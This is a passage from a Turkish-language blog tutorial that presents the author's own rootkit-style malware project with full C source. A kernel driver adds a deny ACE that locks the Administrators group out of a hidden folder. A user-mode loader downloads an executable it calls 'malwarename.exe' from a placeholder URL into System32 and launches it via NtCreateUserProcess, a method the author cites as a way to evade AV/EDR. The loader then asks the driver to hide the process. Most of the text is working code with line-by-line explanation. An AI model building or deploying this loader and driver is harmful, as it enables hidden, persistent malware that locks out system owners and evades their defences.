GetKernelBase fonksiyonuna göz attığımızda ilk olarak dökümanlanmamış ZwQuerySystemInformation fonksiyonun adresini alıyoruz. Bu fonksiyon, sistem hakkında bilgi almak için kullanılacaktır.

Bu API’in adresini aldıktan sonra ilk olarak boyutu almak için ZwQuerySystemInformation çağırıyoruz ve Bytes değişkenine boyutu aktarıyoruz. Daha sonra bu boyut kadar bellek ayırıyoruz ve tekrar ZwQuerySystemInformation fonksiyonunu çağırarak modüllerin bilgilerini alıyoruz ve KernelBase fonksiyonuna ImageBase değerini aktarıyoruz.

RtlAddAccessDeniedAceExAddr = FindFunction(KernelAddress, "RtlAddAccessDeniedAceEx");
if (NULL == RtlAddAccessDeniedAceExAddr) {
	DbgPrintEx(0, 0, "[-] Failed to Find RtlAddAccessDeniedAceEx Function!\n");
	return STATUS_UNSUCCESSFUL;
}
fp_RtlAddAccessDeniedAceEx = (fpRtlAddAccessDeniedAceEx)RtlAddAccessDeniedAceExAddr;

Daha sonra oluşturduğumuz FindFunction aracılığıyla export tablosundan RtlAddAccessDeniedAceEx fonksiyonun adresini alıyoruz ve oluşturduğumuz fp_RtlAddAccessDeniedAceEx yapısına bu adresi aktarıyoruz (Bu fonksiyon, main.h içerisinde tanımlı. Github’tan fonksiyonu inceleyebilirsiniz).

PVOID FindFunction(PVOID KernelBaseAddress, PCSTR TargetFunctionName) {
	PIMAGE_EXPORT_DIRECTORY ExportDirectory;
	PIMAGE_DOS_HEADER DosHeader;
	PIMAGE_NT_HEADERS NTHeader;
	PVOID FoundFuncAddress = NULL;
	PCSTR CurrentFunction = NULL;
	PUSHORT Ordinals = 0;
	USHORT TargetOrdinal = 0;
	PULONG Functions = 0;
	PULONG Names = 0;
	ULONG ExportDirectoryRVA;

	DosHeader = (PIMAGE_DOS_HEADER)KernelBaseAddress;
	if (IMAGE_DOS_SIGNATURE != DosHeader->e_magic) {
		DbgPrintEx(0, 0, "[-] Invalid DOS Header Signature!\n");
		return NULL;
	}

	NTHeader = (PIMAGE_NT_HEADERS)((PUCHAR)KernelBaseAddress + DosHeader->e_lfanew);
	if (IMAGE_NT_SIGNATURE != NTHeader->Signature) {
		DbgPrintEx(0, 0, "[-] Invalid NT Header Signature!\n");
		return NULL;
	}

	ExportDirectoryRVA = NTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	if (!ExportDirectoryRVA) {
		DbgPrintEx(0, 0, "[-] No Export Directory Found!\n");
		return NULL;
	}

	ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)KernelBaseAddress + ExportDirectoryRVA);
	if (!ExportDirectory) {
		DbgPrintEx(0, 0, "[-] Export Directory not Found!\n");
		return NULL;
	}
	DbgPrintEx(0, 0, "[+] Export Directory Found at 0x%p\n", ExportDirectory);

	Names = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNames);
	Ordinals = (PUSHORT)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNameOrdinals);
	Functions = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfFunctions);

	for (ULONG i = 0; i < ExportDirectory->NumberOfNames; i++) {
		CurrentFunction = (PCSTR)((PUCHAR)KernelBaseAddress + Names[i]);

		if (strcmp(CurrentFunction, TargetFunctionName) == 0) {
			TargetOrdinal = Ordinals[i];
			FoundFuncAddress = (PVOID)((PUCHAR)KernelBaseAddress + Functions[TargetOrdinal]);

			DbgPrintEx(0, 0, "[+] Function %s found at 0x%p Address!\n", TargetFunctionName, FoundFuncAddress);
			return FoundFuncAddress;
		}
	}
	DbgPrintEx(0, 0, "[-] %s not Found in Export Table!\n", TargetFunctionName);

	return NULL;
}

Evet geldik önemli kısma.

İlk olarak DosHeader değişkenine kernel base adresini atıyoruz. Daha sonra bu adresin geçerli olup olmadığını kontrol etmek için bazı kontroller yapıyoruz. Kontrol etmemizin sebebi ise kernel base adresinin geçerli olup olmadığını kontrol etmektir. Unutmayın, kernel alanındayız. Detaylı kontroller yapmamız sürücü için faydalı olacaktır.

İlk kontrolde DosHeader->e_magic değerini kontrol ediyoruz. Eğer bu değer IMAGE_DOS_SIGNATURE değerine eşit değilse hata döndürüyoruz. IMAGE_DOS_SIGNATURE değeri, dosyanın geçerli bir DOS başlığına sahip olup olmadığını kontrol etmek için kullanılır. Eğer DosHeader->e_magic değeri IMAGE_DOS_SIGNATURE ile uyuşmuyorsa, bu dosyanın geçersiz olduğu anlamına gelir ve sürücüde hata döndürülür. Buradaki amaç, kernel alanında çalıştığımız için geçersiz veya bozulmuş bir adresle işlem yapmanın önüne geçmektir.

Eğer bu kontrol başarıyla geçilirse, bir sonraki adımda NT başlığını (NT Header) kontrol ediyoruz. NTHeader değişkenine, kernel base adresine ek olarak DOS başlığındaki e_lfanew offset’ini ekleyerek NT başlığının adresini elde ediyoruz. Bu da bize, PE dosya formatına ait NT yapısının başlangıç noktasını verecektir.

Kontrolde NTHeader->Signature değeri kontrol edilir. Bu değer IMAGE_NT_SIGNATURE ile aynı değilse, yine bir hata mesajı döndürülür ve fonksiyon sonlandırılır. IMAGE_NT_SIGNATURE değeri, PE formatının geçerli olup olmadığını kontrol etmek için kullanılır. Başka bir deyişle, dosyanın gerçekten bir PE (Portable Executable) dosyası olup olmadığını doğrularız.

Daha sonra ExportDirectoryRVA değişkenine, NTHeader yapısındaki OptionalHeader yapısındaki IMAGE_DIRECTORY_ENTRY_EXPORT değerini atıyoruz. Bu değer, dosyanın içindeki export tablosunun adresini tutar. Eğer bu değer 0 ise, export tablosu bulunamadığı için hata döndürülerek return ettirilir.

ExportDirectory değişkenine, kernel base adresine ExportDirectoryRVA değerini ekleyerek export tablosunun adresini alıyoruz. Eğer bu değer NULL ise, export tablosu bulunamadığı için hata döndürülür ve return edilir.

Names = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNames);
Ordinals = (PUSHORT)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfNameOrdinals);
Functions = (PULONG)((PUCHAR)KernelBaseAddress + ExportDirectory->AddressOfFunctions);

for (ULONG i = 0; i < ExportDirectory->NumberOfNames; i++) {
	CurrentFunction = (PCSTR)((PUCHAR)KernelBaseAddress + Names[i]);

	if (strcmp(CurrentFunction, TargetFunctionName) == 0) {
		TargetOrdinal = Ordinals[i];
		FoundFuncAddress = (PVOID)((PUCHAR)KernelBaseAddress + Functions[TargetOrdinal]);

		DbgPrintEx(0, 0, "[+] Function %s found at 0x%p Address!\n", TargetFunctionName, FoundFuncAddress);
		return FoundFuncAddress;
	}
}
DbgPrintEx(0, 0, "[-] %s not Found in Export Table!\n", TargetFunctionName);

Bu kısım da ise export tablosundan sırasıyla aşağıdaki bilgileri elde ediyoruz:

  • Names: Export tablosundaki fonksiyon isimleri.
  • Ordinals: Export tablosundaki fonksiyonların sıra numaraları.
  • Functions: Export tablosundaki fonksiyonların adresleri.

Bu bilgileri kullanarak hedef fonksiyonumuzun adresini buluyor olacağız.

Daha sonra bir döngü oluşturuyoruz. Bu döngüde, export tablosundaki fonksiyon isimlerini sırasıyla kontrol ediyoruz. Eğer döngü sırasında kontrol edilen isim, hedef fonksiyon ismi ile eşleşirse bu durumda hedef fonksiyonun sıra numarasını alıyoruz ve bu sıra numarası ile fonksiyonun adresini alıyoruz ve kısa bir bilgilendirme mesajı ile fonksiyon adresini ekrana bastırıyoruz.

Aslında fonksiyona yakındından baktığımızda çok zor değil. Sadece export table verilerini alarak bir döngü oluşturuyoruz ve hedef fonksiyonun ismini bularak adresini elde ediyoruz. Her şey bundan ibaret. MmGetSystemRoutineAddress API’in işlevi gibi düşünebilirsiniz.

InitializeObjectAttributes(&ObjAttr, &ImagePath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

Status = ZwOpenFile(&HandleFile, READ_CONTROL | WRITE_DAC, &ObjAttr, &IoStatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_DIRECTORY_FILE);
if (!NT_SUCCESS(Status)) {
	return Status;
}

RtlAccessDeniedAceEx’in adresini aldıktan sonra gizli klasörün bilgileri içeren bir OBJECT_ATTRIBUTES oluşturuyoruz ve ZwOpenFile ile bu klasörü açıyoruz. Amacımız dosya handle almak.

SecurityDescriptor = ExAllocatePoolWithTag(PagedPool, SECURITY_DESCRIPTOR_MIN_LENGTH, 'Secd');
if (NULL == SecurityDescriptor) {
	ZwClose(HandleFile);
	return STATUS_INSUFFICIENT_RESOURCES;
}

Status = RtlCreateSecurityDescriptor(SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION);
if (!NT_SUCCESS(Status)) {
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}

Daha sonra PSECURITY_DESCRIPTOR yapısından oluşturduğumuz SecurityDescrictor değişkeninde SECURITY_DESCRIPTOR_MIN_LENGTH boyutunda bir alan ayırıyoruz. Bu alan, bir güvenlik tanımlayıcısını temsil eder.

Daha sonra RtlCreateSecurityDescriptor API’si ile, ayırdığımız bellek bloğuna bir güvenlik tanımlayıcısı (security descriptor) başlatıyoruz. Bu API, oluşturduğunuz güvenlik tanımlayıcısının ilk ayarlarını yapar ve SECURITY_DESCRIPTOR_REVISION sabiti ile bu güvenlik tanımlayıcısının sürümünü belirtiriz.

/* Include Admin and User */
RtlInitializeSid(&AdminSidStatic, &NtAuthority, 2);
*RtlSubAuthoritySid(&AdminSidStatic, 0) = SECURITY_BUILTIN_DOMAIN_RID;	
*RtlSubAuthoritySid(&AdminSidStatic, 1) = DOMAIN_ALIAS_RID_ADMINS;
AdminSid = &AdminSidStatic;

AclSize = sizeof(ACL) + sizeof(ACCESS_DENIED_ACE) - sizeof(ULONG) + RtlLengthSid(AdminSid);
Acl = ExAllocatePoolWithTag(PagedPool, AclSize, 'ACLT');
if (NULL == Acl) {
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return STATUS_INSUFFICIENT_RESOURCES;
}

Status = RtlCreateAcl(Acl, AclSize, ACL_REVISION);
if (!NT_SUCCESS(Status)) {
	ExFreePoolWithTag(Acl, 'ACLT');
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}

İlk olarak, Admin SID ve ACL (Erişim Kontrol Listesi) oluşturuyoruz. Ardından ACCESS_DENIED_ACE (erişim reddi girişi) ekleyerek, belirli kullanıcıların (bu durumda Admin grubunun) bu klasöre erişimini engellemeye hazırlıyoruz.

Daha sonra RtlCreateAcl API’si ile, bir ACL yapısı oluşturuyoruz. Bu API, bir erişim kontrol listesi (ACL) oluşturur ve bu ACL yapısını başlatır. Bu API, ACL_REVISION sabiti ile ACL yapısının sürümünü belirtir.

Status = fp_RtlAddAccessDeniedAceEx(Acl, ACL_REVISION, OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE, CurrentAccessMask, AdminSid);
if (!NT_SUCCESS(Status)) {
	ExFreePoolWithTag(Acl, 'ACLT');
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}

Status = RtlSetDaclSecurityDescriptor(SecurityDescriptor, TRUE, Acl, FALSE);
if (!NT_SUCCESS(Status)) {
	ExFreePoolWithTag(Acl, 'ACLT');
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}
	
Status = ZwSetSecurityObject(HandleFile, DACL_SECURITY_INFORMATION, SecurityDescriptor);
if (!NT_SUCCESS(Status)) {
	ExFreePoolWithTag(Acl, 'ACLT');
	ExFreePoolWithTag(SecurityDescriptor, 'Secd');
	ZwClose(HandleFile);
	return Status;
}

ExFreePoolWithTag(Acl, 'ACLT');
ExFreePoolWithTag(SecurityDescriptor, 'Secd');
ZwClose(HandleFile);
return Status;

RtlAddAccessDeniedAceEx API’si ile, bir erişim reddi ACE’si ekleriz. Bu API, bir erişim reddi ACE’si ekler ve bu ACE yapısını başlatır. Yani bu API ile verilen yetkiler ile (bu yetkiler CurrentAccessMask değişkeninde tutulur) Admin grubunun bu klasöre erişimini engelleriz.

Daha sonra RtlSetDaclSecurityDescriptor API’si ile, bir güvenlik tanımlayıcısına bir DACL (discretionary access control list) ekleriz. Bu API, bir güvenlik tanımlayıcısına bir DACL ekler ve bu DACL yapısını başlatıyoruz.

Son olarak ZwSetSecurityObject API’si ile, bir nesnenin güvenlik bilgilerini ayarlıyoruz. Bu API, bir nesnenin güvenlik bilgilerini ayarlar ve bu nesnenin güvenlik bilgilerini başlatır. Yani bu API ile klasörün güvenlik bilgilerini ayarlamış oluyoruz ve işlemlerimiz tamamlanmış oluyor.

User Mode Program

Artık kernel driver’ın neler yaptığını biliyoruz. Şimdi ise user-mode programımızı inceleyelim:

#include "main.h"

NTSTATUS CreateTargetProcess(UNICODE_STRING ImagePath, PHANDLE HandlePtr) {
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    PPS_ATTRIBUTE_LIST AttrList;
    PS_CREATE_INFO CreateInfo = { 0 };
    HANDLE HandleProcess = NULL;
    HANDLE HandleThread = NULL;
    NTSTATUS Status;

    Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    AttrList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
    AttrList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
    AttrList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
    AttrList->Attributes[0].Size = ImagePath.Length;
    AttrList->Attributes[0].Value = (ULONG_PTR)ImagePath.Buffer;

    Status = NtCreateUserProcess(&HandleProcess, &HandleThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, \
        &CreateInfo, AttrList);
    if (!NT_SUCCESS(Status)) {
        RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
        RtlDestroyProcessParameters(ProcessParameters);
        return Status;
    }
    *HandlePtr = HandleProcess;

    RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
    RtlDestroyProcessParameters(ProcessParameters);
    return STATUS_SUCCESS;
}

BOOLEAN ConnectDriver(DWORD DwIoControlCode, LPVOID InBuffer, DWORD  InBufferSize, LPVOID* OutBuffer, DWORD  OutBufferSize) {
    HANDLE HandleDevice = NULL;
    DWORD BytesReturned = 0;
    BOOL Result;
    
    HandleDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_HIDDEN, NULL);
    if (NULL == HandleDevice) {
        return FALSE;
    }

    Result = DeviceIoControl(HandleDevice, DwIoControlCode, InBuffer, InBufferSize, OutBuffer, OutBufferSize, &BytesReturned, NULL);
    if (!Result) {
        CloseHandle(HandleDevice);
        return FALSE;
    }

    CloseHandle(HandleDevice);
    return TRUE;
}

BOOLEAN DownloadExecutable(const CHAR* url, const CHAR* filePath) {
    HINTERNET hInternet = NULL, hUrl = NULL;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    BYTE buffer[4096];
    DWORD bytesRead = 0, bytesWritten = 0;
    BOOLEAN result = FALSE;

    hInternet = InternetOpenA("WinINet Example", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL) {
        printf("Failed to open internet session. Error: %lu\n", GetLastError());
        return FALSE;
    }

    hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hUrl == NULL) {
        printf("Failed to open URL. Error: %lu\n", GetLastError());
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file. Error: %lu\n", GetLastError());
        InternetCloseHandle(hUrl);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    while (InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
        if (!WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL)) {
            printf("Failed to write to file. Error: %lu\n", GetLastError());
            CloseHandle(hFile);
            InternetCloseHandle(hUrl);
            InternetCloseHandle(hInternet);
            return FALSE;
        }
    }
    result = TRUE;

    CloseHandle(hFile);
    InternetCloseHandle(hUrl);
    InternetCloseHandle(hInternet);

    return result;
}

BOOLEAN IsProcessRunning(DWORD ProcessID) {
    HANDLE HandleProcessSnap = NULL;
    PROCESSENTRY32 PE32;
    BOOL Status = FALSE;

    HandleProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == HandleProcessSnap) {
        return FALSE;
    }

    PE32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(HandleProcessSnap, &PE32)) {
        CloseHandle(HandleProcessSnap);
        return FALSE;
    }

    do {
        if (PE32.th32ProcessID == ProcessID) {
            Status = TRUE;
            break;
        }
    } while (Process32Next(HandleProcessSnap, &PE32));

    CloseHandle(HandleProcessSnap);
    return Status;
}

BOOLEAN MonitorProcess(DWORD ProcessID) {
    BOOL IsRunning = IsProcessRunning(ProcessID);
    int CheckInvertal = 5000;

    printf("[*] Listening Process... (PID: %lu)\n", ProcessID);

    while (IsRunning) {
        Sleep(CheckInvertal);
        IsRunning = IsProcessRunning(ProcessID);
        if (!IsRunning) {
            printf("[-] Process Terminated!\n");
            break;
        }
    }
    return IsRunning;
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: .\\program.exe <PID>\n");
        return -1;
    }
    CHAR ExecutablePath[0x80] = "C:\\Windows\\System32\\HiddenFile";
    CHAR ExecutableName[0x80] = "malwarename.exe";
    CHAR ExecutableUrl[0x80] = "https://url";
    DWORD CurrentPID = atoi(argv[1]);
    ULONG_PTR d_PID = (ULONG_PTR)strtoul(argv[1], NULL, 10);
    CHAR PathForUnicode[0x80];
    HANDLE HandleNewProcess = NULL;
    HANDLE ProcessID = NULL;
    DWORD Error;
    BOOL Result;
    UNICODE_STRING ImagePath;
    WCHAR UnicodeExecutablePath[256];
    NTSTATUS Status;

    Result = MonitorProcess(CurrentPID);
    if (!Result) {
        Result = ConnectDriver(IOCTL_CREATE_DIRECTORY, NULL, 0, NULL, 0);
        if (!Result) {
            Error = GetLastError();
            if (Error != ERROR_ALREADY_EXISTS) {
                printf("Failed to Create Directory! Error Code: 0x%lx\n", Error);
                return -1;
            }
        }
        printf("[*] Directory Path: %s\n", ExecutablePath);

        int result = snprintf(ExecutablePath, sizeof(ExecutablePath), "%s\\%s", ExecutablePath, ExecutableName);
        if (result < 0 || result >= sizeof(ExecutablePath)) {
            printf("Failed to construct full path!\n");
            return -1;
        }
        printf("[*] Malware Path: %s\n", ExecutablePath);

        Result = DownloadExecutable(ExecutableUrl, ExecutablePath);
        if (!Result) {
            Error = GetLastError();
            if (Error != ERROR_ALREADY_EXISTS) {
                printf("[-] Failed to Download Executable! Error Code: 0x%lx\n", GetLastError());
                return -1;
            }
            printf("[*] The executable is already downloaded.\n");
        }
        else {
            printf("[+] The Executable Downloaded!\n");
        }

        snprintf(PathForUnicode, sizeof(PathForUnicode), "\\??\\%s", ExecutablePath);

        MultiByteToWideChar(CP_ACP, 0, PathForUnicode, -1, UnicodeExecutablePath, 256);
        RtlInitUnicodeString(&ImagePath, UnicodeExecutablePath);

        Status = CreateTargetProcess(ImagePath, &HandleNewProcess);
        if (!NT_SUCCESS(Status)) {
            printf("[-] Failed to Create Process! NTSTATUS Code: 0x%08X\n", Status);
            return -1;
        }
        ProcessID = (HANDLE)(ULONG_PTR)GetProcessId(HandleNewProcess);
        printf("[*] Created Process! Process ID: %lu\n", (ULONG)(ULONG_PTR)ProcessID);

        Result = ConnectDriver(IOCTL_HIDE_PROCESS, &ProcessID, sizeof(ULONG_PTR), NULL, 0);
        if (!Result) {
            printf("[-] Failed to Hide The Process! Error Code: 0x%lx\n", GetLastError());
            CloseHandle(HandleNewProcess);
            return -1;
        }
        printf("[+] The Process has been Hidden!\n");
    }
    CloseHandle(HandleNewProcess);

    return 0;
}

User-mode programımızın kodları da bu şekilde. Şimdi detaylıca göz atalım:

if (argc < 2) {
    printf("Usage: .\\program.exe <PID>\n");
    return -1;
}
CHAR ExecutablePath[0x80] = "C:\\Windows\\System32\\HiddenFile";
CHAR ExecutableName[0x80] = "malwarename.exe";
CHAR ExecutableUrl[0x80] = "https://url";

main içerisinde ilk olarak bir kontrol ile başlıyoruz. Bu kontrol, programın başlatılma esnasında parametre verip vermediğini kontrol eden bir kontrol yapısıdır. Eğer parametre verilmediyse programın nasıl kullanılacağına dair bir bilgi verir ve programı sonlandırır.

Daha sonra malware’in düzgün bir şekilde çalışması için gerekli olan değişkenleri tanımlıyoruz. İşte işlevleri:

  • ExecutablePath: Malware’in indirileceği ve çalıştırılacağı klasörün yolu.
  • ExecutableName: Malware’in adı.
  • ExecutableUrl: Malware’in indirileceği URL.
Result = MonitorProcess(CurrentPID);
if (!Result) {
    Result = ConnectDriver(IOCTL_CREATE_DIRECTORY, NULL, 0, NULL, 0);
    if (!Result) {
        Error = GetLastError();
        if (Error != ERROR_ALREADY_EXISTS) {
            printf("Failed to Create Directory! Error Code: 0x%lx\n", Error);
            return -1;
        }
    }
	printf("[*] Directory Path: %s\n", ExecutablePath);

Daha sonra MonitorProcess ile sistemde çalışan malware’i dinlemeye alıyoruz. Eğer bu fonksiyonun sonucu 0 yani FALSE olursa bu durumda malware’in çalışmadığını anlarız ve işlemlere başlarız.

Daha sonra oluşturduğumuz ConnectDriver aracılığıyla sürücümüze IOCTL_CREATE_DIRECTORY kodunu göndererek gizli klasörü oluşturması için talimat gönderiyoruz. ConnectDriver fonksiyonunda DeviceIoControl aracılığıyla kodumuzu sürücüye iletir. Eğer bu işlem başarısız olursa hata kodunu ekrana bastırıyoruz ve programı sonlandırıyoruz, ancak sonlandırmadan alınan hata kodunu ERROR_ALREADY_EXISTS ile karşılaştırarak, eğer bu hata kodu ile aynıysa bu durumda klasörün zaten oluşturulduğunu anlarız ve işlemlere devam ederiz.

int result = snprintf(ExecutablePath, sizeof(ExecutablePath), "%s\\%s", ExecutablePath, ExecutableName);
if (result < 0 || result >= sizeof(ExecutablePath)) {
    printf("Failed to construct full path!\n");
    return -1;
}
printf("[*] Malware Path: %s\n", ExecutablePath);

Daha sonnra snprintf ile ExecutablePath değişkenine ExecutableName değişkenin değerini ekleyerek malware’in tam yolunu oluşturuyoruz (şuan ki program sonucuna göre C:\Windows\System32\HiddenFile\malwarename.exe olacaktır). Eğer bu işlem başarısız olursa hata mesajı vererek programı sonlandırıyoruz.

Result = DownloadExecutable(ExecutableUrl, ExecutablePath);
if (!Result) {
    Error = GetLastError();
    if (Error != ERROR_ALREADY_EXISTS) {
        printf("[-] Failed to Download Executable! Error Code: 0x%lx\n", GetLastError());
        return -1;
    }
    printf("[*] The executable is already downloaded.\n");
}
else {
    printf("[+] The Executable Downloaded!\n");
}

Daha sonra DownloadExecutable fonksiyonunu çağırarak malware’i indiriyoruz. Bu fonksiyonda wininet kullanılarak dosya indirme işlemi gerçekleştirilir. Eğer bu işlem başarısız olursa hata mesajını bastırmadan önce verilen hatayı ERROR_ALREADY_EXISTS ile karşılaştırarak, eğer bu hata kodu ile aynıysa bu durumda dosyanın zaten indirildiğini anlarız ve işlemlere devam ederiz.

snprintf(PathForUnicode, sizeof(PathForUnicode), "\\??\\%s", ExecutablePath);

MultiByteToWideChar(CP_ACP, 0, PathForUnicode, -1, UnicodeExecutablePath, 256);
RtlInitUnicodeString(&ImagePath, UnicodeExecutablePath);

Status = CreateTargetProcess(ImagePath, &HandleNewProcess);
if (!NT_SUCCESS(Status)) {
    printf("[-] Failed to Create Process! NTSTATUS Code: 0x%08X\n", Status);
    return -1;
}

Daha sonra ExecutablePath değişkenini PathForUnicode değişkenine başına ‘\??\’ prefix ile kopyalayarak, bu değişkeni WCHAR bir tipine dönüştürüyoruz. Buradaki amacımız tam elde ettiğimiz malware yolunu UNICODE_STRING’e çevirmek ve Process oluşturması için CreateTargetProcess fonksiyona iletmek.

Daha sonra RtlInitUnicodeString fonksiyonu ile UnicodeExecutablePath değişkenini ImagePath değişkenine dönüştürüyoruz ve CreateTargetProcess fonksiyonuna bu değişkeni ve HandleNewProcess değişkenini ileterek yeni bir process oluşturmasını sağlıyoruz.

NTSTATUS CreateTargetProcess(UNICODE_STRING ImagePath, PHANDLE HandlePtr) {

    Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

Evet önemli kısımlardan birine geldik; process’in oluşturulması.

Muhtemelen şu soruyu sorabilirsiniz, “Kernel sürücüden destek alıyorsun ama user-mode programda NT API kullanıyorsun” diye. Haklısınız aslında.

Bu projeyi ilk geliştirmeye başladığımda Kernel-mode sürücüde ZwCreateProcess’i bularak oluşturmayı ve farklı birçok yöntem denedim ve ancak maalesef benim için hiçbiri sonuç vermedi. Sonradan şunu öğrendim ki ZwCreateProcessEx gibi API’lar kernel seviyesinde process oluşturulmak için kullanıldığını öğrendim. Sonralarda Microwave90 kullanıcısının hazırladığı kernel tabanlı sürücü projesinde çalıştırdığı NtCreateUserProcess gibi yöntemleri denememe rağmen başarısız oldum.

Daha sonra araştırmalarımda Capt. Meelo’nun hazırladığı user-mode uygulamada NtCreateUserProcess çalıştırdığı bloguna denk geldim ve açıkçası kodlar benim için çok faydalı oldu ve bu yüzden process oluşturma işlemini user-mode programıma eklemeye karar verdim.

NTSTATUS CreateTargetProcess(UNICODE_STRING ImagePath, PHANDLE HandlePtr) {
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
    PPS_ATTRIBUTE_LIST AttrList;
    PS_CREATE_INFO CreateInfo = { 0 };
    HANDLE HandleProcess = NULL;
    HANDLE HandleThread = NULL;
    NTSTATUS Status;

    Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, \
        RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
    if (!NT_SUCCESS(Status)) {
        return Status;
    }
    CreateInfo.Size = sizeof(CreateInfo);
    CreateInfo.State = PsCreateInitialState;

    AttrList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
    AttrList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
    AttrList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
    AttrList->Attributes[0].Size = ImagePath.Length;
    AttrList->Attributes[0].Value = (ULONG_PTR)ImagePath.Buffer;

    Status = NtCreateUserProcess(&HandleProcess, &HandleThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, \
        &CreateInfo, AttrList);
    if (!NT_SUCCESS(Status)) {
        RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
        RtlDestroyProcessParameters(ProcessParameters);
        return Status;
    }
    *HandlePtr = HandleProcess;

    RtlFreeHeap(RtlProcessHeap(), 0, AttrList);
    RtlDestroyProcessParameters(ProcessParameters);
    return STATUS_SUCCESS;
}

User-mode alanında CreateProcess kullandığınızda aşağıdaki dönüşümler gerçekleşir:

İlk olarak kernel32 içerisinden CreateProcessInternal çağırılır ve ardından ntdll.dll içerisinden NtCreateUserProcess ve son olarak kernel-mode alanına girerek ntoskrnl.exe’den NtCreateUserProcess çağırılır. Burada NtCreateUserProcess kullanma sebebimiz ise Capt. Meelo’nun makalede belirttiği gibi AV/EDR tespit kontrollerinden kaçmak için kullanılabilecek en düşük seviye API’dir.

Ancak fark ettiyseniz kodda direkt olarak NtCreateUserProcess çağırmıyoruz. Ondan önce bazı adımları tamamlamamız ve ardından NtCreateUserProcess çağırmamız gerekiyor. Çünkü Windows, process oluşturulurken bazı parametrelerin belirtilmesini bekler. Bu parametrelerin başında RTL_USER_PROCESS_PARAMETERS ve PS_ATTRIBUTE_LIST gelir.

Status = RtlCreateProcessParametersEx(&ProcessParameters, &ImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
if (!NT_SUCCESS(Status)) {
    return Status;
}

RTL_USER_PROCESS_PARAMETERS yapısını oluşturmak için RtlCreateProcessParameterEx aracılığıyla parametreleri hazırlıyoruz. Bu yapı şu şekildedir:

NTSTATUS
NTAPI
RtlCreateProcessParametersEx(
    _Out_ PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
    _In_ PUNICODE_STRING ImagePathName,
    _In_opt_ PUNICODE_STRING DllPath,
    _In_opt_ PUNICODE_STRING CurrentDirectory,
    _In_opt_ PUNICODE_STRING CommandLine,
    _In_opt_ PVOID Environment,
    _In_opt_ PUNICODE_STRING WindowTitle,
    _In_opt_ PUNICODE_STRING DesktopInfo,
    _In_opt_ PUNICODE_STRING ShellInfo,
